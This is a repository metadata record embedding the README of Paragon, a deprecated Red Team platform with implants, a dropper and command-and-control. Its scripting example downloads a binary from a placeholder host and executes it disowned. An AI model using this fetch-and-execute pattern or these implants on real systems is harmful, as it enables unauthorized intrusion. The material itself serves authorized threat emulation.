{"id":26456442,"url":"https://github.com/kcarretto/paragon","last_synced_at":"2025-04-09T06:13:16.736Z","repository":{"id":36336697,"uuid":"196677402","full_name":"KCarretto/paragon","owner":"KCarretto","description":"Red Team engagement platform with the goal of unifying offensive tools behind a simple UI","archived":false,"fork":false,"pushed_at":"2024-02-07T15:42:41.000Z","size":272786,"stargazers_count":298,"open_issues_count":59,"forks_count":41,"subscribers_count":23,"default_branch":"main","last_synced_at":"2025-04-09T06:12:54.616Z","etag":null,"topics":["api","botnet","command-and-control","cross-platform","dsl","framework","frontend","golang","graphql","implants","knowledge-graph","malware","malware-development","offensive","redteam","scripting-language","starlark","threat-emulation","toolkit"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/KCarretto.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-07-13T04:19:40.000Z","updated_at":"2025-02-07T11:57:19.000Z","dependencies_parsed_at":"2023-02-15T03:15:48.408Z","dependency_job_id":"65afd746-5deb-4aa9-831d-f824b386242d","html_url":"https://github.com/KCarretto/paragon","commit_stats":null,"previous_names":[],"tags_count":17,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KCarretto%2Fparagon","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KCarretto%2Fparagon/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KCarretto%2Fparagon/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KCarretto%2Fparagon/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/KCarretto","download_url":"https://codeload.github.com/KCarretto/paragon/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247987285,"owners_count":21028895,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["api","botnet","command-and-control","cross-platform","dsl","framework","frontend","golang","graphql","implants","knowledge-graph","malware","malware-development","offensive","redteam","scripting-language","starlark","threat-emulation","toolkit"],"created_at":"2025-03-18T21:29:05.855Z","updated_at":"2025-04-09T06:13:16.709Z","avatar_url":"https://github.com/KCarretto.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Deprecation Notice\n\nThis project has been deprecated, please refer to our new [Realm project](https://github.com/spellshift/realm), which builds upon many of the ideas we had when building this repo.\n\n![CI](https://github.com/KCarretto/paragon/workflows/CI/badge.svg)\n[![Build Status](https://travis-ci.org/KCarretto/paragon.svg?branch=master)](https://travis-ci.org/KCarretto/paragon) [![Go Report Card](https://goreportcard.com/badge/github.com/kcarretto/paragon)](https://goreportcard.com/report/github.com/kcarretto/paragon) [![Coverage Status](https://coveralls.io/repos/github/KCarretto/paragon/badge.svg?branch=master)](https://coveralls.io/github/KCarretto/paragon?branch=master) ![GitHub release](https://img.shields.io/github/release-pre/kcarretto/paragon.svg) [![GoDoc](https://godoc.org/github.com/KCarretto/paragon?status.svg)](https://godoc.org/github.com/KCarretto/paragon)\n\n## Paragon\n\n![Demo](.github/images/demo.gif)\n\n\nParagon is a Red Team engagement platform. It aims to unify offensive tools behind a simple UI, abstracting much of the backend work to enable operators to focus on writing implants and spend less time worrying about databases and css. The repository also provides some offensive tools already integrated with Paragon that can be used during engagements.\n\n_This repository is still under heavy development and is not ready for production use. When it is considered stable, a V1.0.0 tag will be released. Until then, the API may encounter breaking changes as we continually simplify our design. Please read the developer documentation below if you'd like to help us reach this milestone faster._\n\n## Table of Contents\n- [Feature Highlights](#feature-highlights)\n- [Getting Started](#getting-started)\n- [Component Overview](#component-overview)\n- [FAQ](#faq)\n- [Terminology](#terminology)\n- [Developer Guide](#developer-guide)\n\n## Feature Highlights\n* Easily integrate custom tools to unify operations behind a **single interface**\n* Query the Red Team knowledge graph using a provided GraphQL API\n* Event emission for low latency automation and real time processing\n* Python-like scripting language for deployments, post-exploitation, and more\n* Cross-platform implants \u0026 deployment included\n* Record operator activity to conviniently aggregate into a post-engagement report for review\n\n## Getting Started\n\nA quick demonstration instance can be setup by cloning the repository and running `docker-compose up`. Open [127.0.0.1:80](http://127.0.0.1:80) in your browser to get started!\n\nThe utilized images are available on docker-hub, and can be configured from a docker-compose file for a production deployment.\n\n## Component Overview\n\n### Scripting Language\nMost components in this repository rely on a Python-like scripting language which enables powerful control and customization of their behaviour. The language is a modified version of [Google's starlark](https://github.com/google/starlark-go), extended with cross-platform functionality for operators. This also enables tools like the agent and dropper (discussed below) to execute tasks without relying on system binaries (`curl`, `bash`, etc). All operations are executed as code in Golang, so it's intuitive to add additional functionality to the scripting environment. Here is an example script:\n\n```python\n# Download a file via https, execute it, and don't keep it as a child process.\nload(\"sys\", \"request\")\n\nnew_bin = \"/tmp/kqwncWECaaV\"\nrequest(\"https://library.redteam.tld\", writeToFile=new_bin)\n\n# set new_bin permissions to 0755\nchmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)\nexec(new_bin, disown=True)\n```\n[Reference](https://godoc.org/github.com/KCarretto/paragon/pkg/script/stdlib/sys)\n\n### Teamserver\nProvides a simple web application and GraphQL API to interface with a Red Team knowledge graph, unifying tools behind a centralized source of truth and abstracting many tedious backend concerns from operators. Integrate your custom tools with the Teamserver (using the GraphQL API or event subscriptions) to save time on the backend work. The Teamserver records all activity, so with all of your tools unified in one place, writing post-engagement reports becomes signficantly easier.\n\n### Built-In Tools\n\nThe below tools are also included within the repository. They can easily be extended to fit many cross-platform use cases.\n\n#### Dropper\n* Fully cross-platform\n* Statically compile assets into a single binary\n* Provides Python-like scripting language for custom deployment configuration\n\nParagon provides a tool for packaging assets (binaries, scripts, etc.) into a single binary that when executed will execute your custom deployment script that may write assets to the filesystem, launch processes, download files, handle errors, and more. It is fully cross-platform and statically compiled, providing reliable deployments. If you wish to extend it's functionality, you may simply extend the generated golang file before compiling.\n\n\n#### Agent\n\n* Fully cross-platform\n* Provides Python-like scripting language for post exploitation\n* Modular communication mechanisms, only compile in what you need\n    * Utilize multiple options to ensure reliable callbacks\n* Customize how the agent handles communication failures\n\nAn implant that executes tasks and reports execution results. It is configured by default to execute tasks using Paragon's Python-like scripting language and to communicate with a C2 via http(s). It is written in Go, and can be quickly modified to add new transport methods (i.e. DNS), execution options, fail over logic, and more.\n\n#### C2\n\n* Lightweight deployment\n* Highly performant, able to handle thousands of Agents\n    * _Dependent on system resources and available bandwidth_\n* Distributed service, utilize as many C2s as you'd like\n\nActs as a middleman between the Agent and the Teamserver. It handles agent callbacks for a variety of communication mechanisms, and provides it with new tasks from the teamserver queue.\n\n#### Runner\n\n* Low latency, real time task execution\n* Easily extended to add support for more communication mechanisms\n* Distributed service, utilize as many runners as you'd like\n\nInstead of waiting for a callback, some situations might require a foward connection to quickly execute a task and view it's output. The runner accomplishes this by subscribing to task queues and establishing a connection to the target machine (i.e. using ssh). This enables shell-like integrations to utilize the same interface as implants and C2s. It also allows for initial implant deployment to be conducted through this interface.\n\n#### Scanner\n\n* Monitor reachable target services\n* Automate responses when services become (un)available\n* Provide network information to the knowledge graph, which may be utilized by other tools\n* Distributed service, utilize as many scanners as you'd like\n\nMonitor target network activity and visible services. Map out a graph of the engagement network, and trigger automation on state changes (i.e. ssh becomes available).\n\n## FAQ\n\n### What if machines report the same UUID?\nSetting the `PG_KS_MachineUUID` killswitch environment variable for the teamserver will disable lookups that utilize machine UUIDs.\n\n## Terminology\n\nTo ensure clear communication about these complex systems, we have outlined a few project-specific terms below that will be used throughout the project's documentation.\n\n### Implant\nAny malicious software that will be run on compromised systems during the engagement.\n\n### Task\nDesired operations to be executed on a specific compromised system. Tasks provide execution instructions to implants, however their syntax / structure can be completely specific to a tool.\n\n### Agent\nAn Implant that receives tasks from the teamserver, executes them, and reports their results. An extensible default implementation is included with this repository, which requires that tasks be provided as scripts written using the project's Python-like DSL.\n\n### Job\nRequests that the Teamserver perform a set of given operations. Upon creating a job, the instructions will be saved but not executed. The user may request that the Teamserver execute a job zero or more times by queuing the job and providing the required parameters to it. Jobs may never be updated, but new versions of jobs can be created to avoid excessive copy-paste.\n\nA common use-case for a Job is when the user wishes to execute a script on a few Targets. The user creates a job, which instructs the teamserver to create tasks with the provided content, but leaves the desired target machines as a parameter. When the job is queued, the user provides a list of target machines as a parameter, and the Teamserver will create a task for each machine.\n\n## Developer Guide\n\nBelow serves as an initial and brief reference for Paragon development. More documentation can be found in the package godocs or by reading through some code :) After we have finalized some design decisions (well before reaching v1), a code-freeze will take effect until all documentation has been updated and appropriately organized.\n\n### Prerequisites\n* Git\n* Docker\n* VSCode\n    * _While you may use other editors, you'll lose out on the customization that speeds up development for VSCode_\n    * The `Remote - Containers` extension provided by Microsoft is required to get started.\n\n### Environment Setup\nAfter installing the prerequisites listed above, you'll be able to get started in no time. Simply clone the repository and open it in VSCode. You will be prompted to open the codebase in a development container, which has been configured with all the project dependencies and developer tools you'll need. If this option does not appear for you, open the command pallete and run `\u003e Remote-Containers: Open Folder In Container` which should start the container for you. If this is your first time launching the container, it may take a while to download... so get yourself some coffee ^_^\n\n### Project Layout\n\nBelow is an overview of the project structure and where each component lives. If this becomes outdated, please feel free to submit an issue reporting this or preferably a PR to fix it. The codebase is setup as a monorepository, which enables us to take advantage of shared development tooling, standardization, etc. while avoiding complicated version conflicts.\n\n| Folder        | Use Case|\n|---------------|---------|\n| .devcontainer | Configuration for the VSCode container development environment. |\n| .github | Github configuration. |\n| .stats | A git ignored directory (which you may or may not have) for storing performance profiling output. |\n| ent | Graph related API definitions used by the teamserver. |\n| graphql | GraphQL schema \u0026 related code generated from ent. |\n| cmd | Command line executable tools and services. |\n| dist | A git ignored directory for storing build artifacts. |\n| docker | Dockerfiles used for example deployment. |\n| ent | Graph models and schemas used by the teamserver (see Facebook's [entgo](https://entgo.io) tool for more info). |\n| pkg | Public facing libraries utilized by repository tools but also exposed to the world. |\n| pkg/agent | An abstraction to easily create an implant or communication transport. |\n| pkg/c2 | C2 service related helpers and standardized message definitions. |\n| pkg/c2/proto | Protobuf spec to define a standardized serialization format for Agent \u003c-\u003e C2 communication. |\n| pkg/drop | Provides a simple method used by compiled dropper payloads. |\n| pkg/middleware | Common middleware for HTTP services. |\n| pkg/script | Python-like scripting language for dynamic configuration, automation, and cross-platform exploitation. |\n| pkg/script/stdlib | Standard libraries that expose functionality for scripting execution environments. |\n| pkg/teamserver | Teamserver service related helpers. |\n| www | Contains the primary web application hosted by the teamserver. Created by Facebook's create-react-app application. |\n| www/src/components | Reuseable react-components. |\n| www/src/config | Web App configuration \u0026 routing. |\n| www/src/views | Containers that query data from the Teamserver and compose components to render. |\n\n### Teamserver Reference\n\n#### Knowledge Graph\nBelow is an overview of the relationship between nodes in the Red Team knowledge graph managed by the Teamserver.\n\n![Graph](.github/images/graph.png)\n\n\n\n### Agent Reference\n\ntransport priority. To use your own, simply implement the [agent.Sender](https://godoc.org/github.com/KCarretto/paragon/pkg/agent#Sender) interface and register your transport during initialization. Examples of existing transports can be found in subdirectories of the `agent` package.\n\n#### Task Execution\nBy default, the agent expects tasks to adhere to starlark syntax, and exposes a standard library for scripts to utilize. To change the behaviour of task execution (i.e. just bash commands), you may implement the [agent.Receiver](https://godoc.org/github.com/KCarretto/paragon/pkg/agent#Receiver) interface to execute tasks as you'd like.\n\n#### Scripting Environment\nThe scripting environment can be customized for your agent, enabling you to easily package new functionality for scripts to utilize. See [script options](https://godoc.org/github.com/KCarretto/paragon/pkg/script#Option) to learn how to extend the agent's script engine.\n\n#### Execution Flow\nBelow is a flow diagram of the general execution of the agent implant.\n\n#### Adding a Transport\nThe agent is designed to be easily customized with new transport mechanisms, multiplexing communications based on \n\n![AgentExec](.github/images/agent/exec_flow.png)\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkcarretto%2Fparagon","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fkcarretto%2Fparagon","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkcarretto%2Fparagon/lists"}